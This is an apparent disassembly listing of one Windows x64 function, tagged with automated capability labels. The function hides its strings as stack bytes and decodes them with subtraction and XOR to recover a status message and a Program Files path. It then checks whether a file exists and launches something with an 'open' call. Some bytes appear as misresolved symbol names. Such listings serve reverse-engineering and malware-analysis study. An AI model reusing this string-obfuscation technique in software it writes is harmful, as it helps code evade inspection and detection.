Function at 0x14000aae0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x310]
sub rsp, 0x410
xor r14d, r14d
mov dword [rbp + 0x330], r14d
mov byte [rsp + 0x3c], 0x68
mov byte [rsp + 0x3d], 0x3a
mov byte [rsp + 0x3e], 0x6a
mov byte [rsp + 0x3f], 0x2d
mov byte [rsp + 0x40], 0x81
mov byte [rsp + 0x41], 0x7f
mov byte [rsp + 0x42], 0x86
mov byte [rsp + 0x43], 0x2d
mov byte [rsp + 0x44], 0x79
mov byte [rsp + 0x45], 0x7c
mov byte [rsp + 0x46], 0x6e
mov byte [rsp + 0x47], WSACleanup
mov byte [rsp + 0x48], 0x76
mov byte [rsp + 0x49], 0x7b
mov byte [rsp + 0x4a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x4b], 0x2d
mov byte [rsp + 0x4c], 0x84
mov byte [rsp + 0x4d], WSACleanup
mov byte [rsp + 0x4e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x4f], 0x6e
mov byte [rsp + 0x50], 0x7a
mov byte [rsp + 0x51], WSACleanup
mov byte [rsp + 0x52], 0x6c
mov byte [rsp + 0x53], WSACleanup
mov byte [rsp + 0x54], 0x6e
mov byte [rsp + 0x55], WSACleanup
mov byte [rsp + 0x56], 0x7a
mov byte [rsp + 0x57], 0x7c
mov byte [rsp + 0x58], 0x7b
mov byte [rsp + 0x59], 0x3b
mov byte [rsp + 0x5a], WSACleanup
mov byte [rsp + 0x5b], 0x85
mov byte [rsp + 0x5c], WSACleanup
mov byte [rsp + 0x5d], r14b
movzx eax, byte [rsp + 0x3c]
mov ecx, r14d
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x3c]
sub al, 0xd
mov byte [rsp + rcx + 0x3c], al
inc rcx
cmp rcx, 0x21
jb 0x14000abc0
lea rdx, [rsp + 0x3c]
lea rcx, [rbp + 0x98]
call fcn.140007580
mov rcx, rax
call fcn.140008410
mov byte [rsp + 0x5e], 0x4b
mov byte [rsp + 0x5f], 0x42
mov byte [rsp + 0x60], 0x64
mov byte [rsp + 0x61], 0x58
mov byte [rsp + 0x62], 0x7a
mov byte [rsp + 0x63], 0x77
mov byte [rsp + 0x64], WSAStartup
mov byte [rsp + 0x65], 0x7a
mov byte [rsp + 0x66], 0x69
mov byte [rsp + 0x67], 0x75
mov byte [rsp + 0x68], 0x28
mov byte [rsp + 0x69], 0x4e
mov byte [rsp + 0x6a], WSACleanup
mov byte [rsp + 0x6b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x6c], 0x6d
mov byte [rsp + 0x6d], 0x7b
mov byte [rsp + 0x6e], 0x28
mov byte [rsp + 0x6f], 0x30
mov byte [rsp + 0x70], 0x80
mov byte [rsp + 0x71], 0x40
mov byte [rsp + 0x72], 0x3e
mov byte [rsp + 0x73], 0x31
mov byte [rsp + 0x74], 0x64
mov byte [rsp + 0x75], 0x5f
mov byte [rsp + 0x76], 0x6d
mov byte [rsp + 0x77], WSAStartup
mov byte [rsp + 0x78], 0x69
mov byte [rsp + 0x79], 0x75
mov byte [rsp + 0x7a], 0x6d
mov byte [rsp + 0x7b], 0x64
mov byte [rsp + 0x7c], 0x7f
mov byte [rsp + 0x7d], 0x6d
mov byte [rsp + 0x7e], WSAStartup
mov byte [rsp + 0x7f], 0x69
mov byte [rbp - 0x80], 0x75
mov byte [rbp - 0x7f], 0x6d
mov byte [rbp - 0x7e], 0x67
mov byte [rbp - 0x7d], 0x6c
mov byte [rbp - 0x7c], 0x69
mov byte [rbp - 0x7b], 0x6d
mov byte [rbp - 0x7a], 0x75
mov byte [rbp - 0x79], 0x77
mov byte [rbp - 0x78], 0x76
mov byte [rbp - 0x77], 0x36
mov byte [rbp - 0x76], 0x6d
mov byte [rbp - 0x75], 0x80
mov byte [rbp - 0x74], 0x6d
mov byte [rbp - 0x73], r14b
movzx eax, byte [rsp + 0x5e]
mov rcx, r14
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x5e]
sub al, 8
mov byte [rsp + rcx + 0x5e], al
inc rcx
cmp rcx, 0x2f
jb 0x14000ace0
lea rdx, [rsp + 0x5e]
lea rcx, [rbp - 0x48]
call fcn.140007580
nop
mov dword [rbp - 0x70], 0x1a
mov byte [rbp - 0x6c], 0x6d
mov byte [rbp - 0x6b], 0x7f
mov byte [rbp - 0x6a], 0x7d
mov byte [rbp - 0x69], 0x7b
mov byte [rbp - 0x68], 0x77
mov byte [rbp - 0x67], 0x7f
mov byte [rbp - 0x66], 0x45
mov byte [rbp - 0x65], 0x7e
mov byte [rbp - 0x64], 0x7b
mov byte [rbp - 0x63], 0x7f
mov byte [rbp - 0x62], 0x77
mov byte [rbp - 0x61], 0x75
mov byte [rbp - 0x60], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x5f], 0x34
mov byte [rbp - 0x5e], 0x7f
mov byte [rbp - 0x5d], 0x62
mov byte [rbp - 0x5c], 0x7f
xor eax, eax
mov byte [rbp - 0x5b], al
movzx eax, byte [rbp - 0x6c]
mov rdx, r14
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x6c]
mov ecx, dword [rbp - 0x70]
xor cl, al
mov byte [rbp + rdx - 0x6c], cl
inc rdx
cmp rdx, 0x11
jb 0x14000ad60
mov byte [rbp - 0x5b], 0
lea rdx, [rbp - 0x6c]
lea rcx, [rbp + 0x78]
call fcn.140007580
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x18]
call fcn.140023af0
nop
mov dword [rbp + 0x330], 1
cmp qword [rax + 0x18], 7
jbe 0x14000adab
mov rax, qword [rax]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x14000ae1d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
mov dword [rbp + 0x330], r14d
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x14000af2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000af2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rsi, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rsi, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x38]
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x14000b305
mov qword [rbp + 0x10], 0xf
cmp rdi, 0xf
ja 0x14000ae78
mov qword [rbp + 8], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 8], xmm0
jmp 0x14000af0c
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x14000aeb0
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14002781c
mov rcx, rax
test rax, rax
je 0x14000aedb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000aef1
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000aee2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b30b
jmp 0x14000ae92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000aeee
call fcn.14002781c
jmp 0x14000aef1
mov rax, r14
mov qword [rbp - 8], rax
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 8]
call fcn.14000a970
comisd xmm0, xmmword [0x14002f4e0]
jbe 0x14000adca
mov bl, 1
jmp 0x14000adcc
call fcn.140027858
movdqa xmm0, xmmword [0x1400303b0]
movdqu xmmword [rbp + 0x28], xmm0
mov word [rbp + 0x18], r14w
test bl, bl
je 0x14000afe5
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova r8, qword [rbp - 0x48]
mov dword [rsp + 0x30], 0x59
mov eax, dword [rsp + 0x30]
xor al, 0x6f
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x30]
inc al
xor al, 0x70
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x30]
add al, 2
xor al, 0x65
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
add al, 3
xor al, 0x6e
mov byte [rsp + 0x37], al
xor eax, eax
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x34]
mov rdx, r14
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x34], cl
inc rdx
cmp rdx, 4
jb 0x14000afa0
mov byte [rsp + 0x38], 0
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, [rsp + 0x34]
xor ecx, ecx
call qword [0x14003fb38]
lea rdx, [0x14002f0c8]
jmp 0x14000b25b
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov r8, qword [rbp - 0x38]
lea rcx, [rbp - 0x28]
call fcn.1400249a0
mov dword [rbp + 0x330], 2
lea r9, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r9, qword [rbp - 0x28]
lea r10, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova r10, qword [rbp - 0x48]
add r10, qword [rbp - 0x38]
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov r11, r14
mov rcx, r10
sub rcx, rdx
cmp rdx, r10
cmova rcx, r14
test rcx, rcx
je 0x14000b0df
cmp rcx, 0x20
jb 0x14000b0df
lea r8, [r9 - 2]
lea r8, [r8 + rcx*2]
lea rax, [rdx - 1]
add rax, rcx
cmp r9, rax
ja 0x14000b075
cmp r8, rdx
jae 0x14000b0df
and rcx, 0xffffffffffffffe0
nop dword [rax]
movq xmm0, qword [rdx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9], xmm0
movq xmm0, qword [rdx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x10], xmm0
movq xmm0, qword [rdx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x20], xmm0
movq xmm0, qword [rdx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x30], xmm0
add r9, 0x40
add rdx, 0x20
add r11, 0x20
cmp r11, rcx
jne 0x14000b080
cmp rdx, r10
je 0x14000b103
nop dword [rax]
nop dword [rax + rax]
movsx eax, byte [rdx]
mov word [r9], ax
lea r9, [r9 + 2]
inc rdx
cmp rdx, r10
jne 0x14000b0f0
lea rdx, [0x14003f9e8]
lea rcx, [rbp + 0x38]
call fcn.140023af0
nop
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rdx, qword [rbp - 0x28]
cmp qword [rax + 0x18], 7
jbe 0x14000b12c
mov rax, qword [rax]
mov rcx, rax
call fcn.140024750
movzx ebx, al
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x14000b17a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b175
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b175
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027858
movdqa xmm0, xmmword [0x1400303b0]
movdqu xmmword [rbp + 0x48], xmm0
mov word [rbp + 0x38], r14w
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x14000b1cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b1ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b1ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027858
movdqa xmm0, xmmword [0x1400303b0]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r14w
test bl, bl
je 0x14000b26d
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova r8, qword [rbp - 0x48]
mov dword [rbp - 0x58], 0xf
mov byte [rbp - 0x54], 0x60
mov byte [rbp - 0x53], 0x7f
mov byte [rbp - 0x52], 0x6a
mov byte [rbp - 0x51], 0x61
xor eax, eax
mov byte [rbp - 0x50], al
movzx eax, byte [rbp - 0x54]
mov rdx, r14
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x54]
mov ecx, dword [rbp - 0x58]
xor cl, al
mov byte [rbp + rdx - 0x54], cl
inc rdx
cmp rdx, 4
jb 0x14000b220
mov byte [rbp - 0x50], 0
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, [rbp - 0x54]
xor ecx, ecx
call qword [0x14003fb38]
lea rdx, [0x14002f0e8]
lea rcx, [rbp + 0x58]
call fcn.140007580
mov rcx, rax
call fcn.140008410
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14000b2af
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b2a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b2a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027858
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000b2ed
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b2e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b2e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140027858
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1400065d0
nop
call fcn.140006530
int3